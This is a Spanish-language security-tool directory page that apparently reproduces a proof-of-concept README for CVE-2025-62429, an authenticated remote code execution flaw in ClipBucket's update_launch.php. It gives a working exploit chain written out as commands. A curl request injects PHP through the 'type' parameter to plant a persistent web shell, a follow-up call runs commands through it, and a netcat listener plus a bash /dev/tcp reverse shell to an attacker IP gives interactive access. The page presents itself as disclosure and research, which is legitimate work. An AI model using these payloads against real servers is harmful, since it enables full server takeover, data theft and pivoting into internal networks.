Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/drkim-dev/cve-2025-62429
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubdrkim-dev/cve-2025-62429

CVE-2025-62429

CVE-2025-62429 | clipbucket RCE

Ver Repositorio
11hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-62429 PoC - clipbucket RCE

Prueba de Concepto para RCE mediante Inyección de Código PHP en update_launch.php

Divulgación: Originalmente reportado por mí a través de GHSA-3h9c-7j8r-xc3v

⚠️ Solo para uso autorizado de pentesting/investigación.

Información de la Vulnerabilidad

CampoValor
CVE IDCVE-2025-62429
Gravedad🔴 Alta
Puntuación CVSS7.2
Vector CVSS[CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H]
CWECWE-78: OS Command Injection, CWE-94: Code Injection
Producto AfectadoClibBucket <= 5.5.3 - #79
Versión Parcheada5.5.3 - #80
AvisoGHSA-3h9c-7j8r-xc3v

CVE-2025-62429: Ejecución Remota de Código Autenticada (RCE) mediante Inyección de Código PHP en update_launch.php

Resumen

Existe una vulnerabilidad de Ejecución Remota de Código Autenticada (RCE) en ClipBucket v5.5.3-61. La vulnerabilidad está clasificada como CWE-94: Control Inadecuado de la Generación de Código ('Inyección de Código'). La aplicación no saneó adecuadamente la entrada controlada por el usuario utilizada para generar código PHP ejecutable en update_launch.php. Un administrador autenticado puede explotar esto para lograr la ejecución completa de comandos en el servidor subyacente, escalando privilegios de un administrador web al usuario del sistema (por ejemplo, containeruser).


Detalles

La vulnerabilidad se encuentra en upload/admin_area/actions/update_launch.php. Este script facilita las actualizaciones del sistema generando dinámicamente un script PHP temporal en segundo plano.

Fragmento de Código Vulnerable: upload/admin_area/actions/update_launch.php (Líneas 40-86)

root@kitploit:~
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);

// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);
imagen imagen

Mecanismo de Explotación: Debido a que el parámetro type se concatena en la cadena $data sin escape ni saneamiento, un atacante puede usar una comilla simple (') para salir del contexto literal de la cadena. Luego puede inyectar funciones PHP arbitrarias (como system() o file_put_contents()) y comentar el resto del código original usando //. Esto resulta en la ejecución de código proporcionado por el atacante con los privilegios del proceso PHP-CLI.


Requisitos Previos

  • Nivel de Acceso: Privilegios de administrador.
  • Autenticación: Una cookie de sesión PHPSESSID válida. imagen

PoC (Prueba de Concepto)

Etapa 1: Verificación e Implementación de Web Shell (Persistencia)

Primero demostramos la vulnerabilidad implementando una web shell persistente en la raíz del documento.

  1. Enviar una solicitud POST manipulada al endpoint vulnerable:
root@kitploit:~
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"
imagen
  1. Confirmar la ejecución recuperando la identidad del sistema:
root@kitploit:~
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...
imagen

Etapa 2: Reverse Shell (Control Total del Sistema)

Después de confirmar RCE, se establece un shell interactivo para post-explotación.

  1. Iniciar un listener de Netcat en la máquina atacante:
root@kitploit:~
nc -lvnp 4444
imagen
  1. Disparar el reverse shell a través de la web shell implementada:
root@kitploit:~
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
imagen imagen

La máquina atacante recibe una conexión, otorgando acceso completo a un shell interactivo como containeruser.


Impacto

Una explotación exitosa permite a un atacante ejecutar comandos arbitrarios del sistema. Esto resulta en:

  • Acceso Completo a Datos: Capacidad de leer archivos de configuración sensibles (por ejemplo, config.inc.php) y toda la base de datos.
  • Violación de la Integridad del Sistema: Modificación o eliminación de cualquier archivo accesible por el proceso del servidor web.
  • Movimiento Lateral: El host comprometido puede servir como punto de pivote para ataques adicionales dentro de la infraestructura interna.

Aviso Relacionado / Referencia CVE

Este problema está relacionado con la vulnerabilidad divulgada anteriormente:

  • GHSA-3x4g-x3gv-rjmq
  • CVE-2025-62429

Tras un análisis más detallado, se descubrió que la vulnerabilidad persistía en ClipBucket v5.5.3 debido a una corrección incompleta.
Mientras que el aviso original abordaba parte del problema, el vector de inyección de código PHP a través del parámetro type en update_launch.php seguía siendo explotable.

Este aviso proporciona detalles técnicos adicionales, verificación en la última versión y un escenario completo de explotación de extremo a extremo.

Descargar herramienta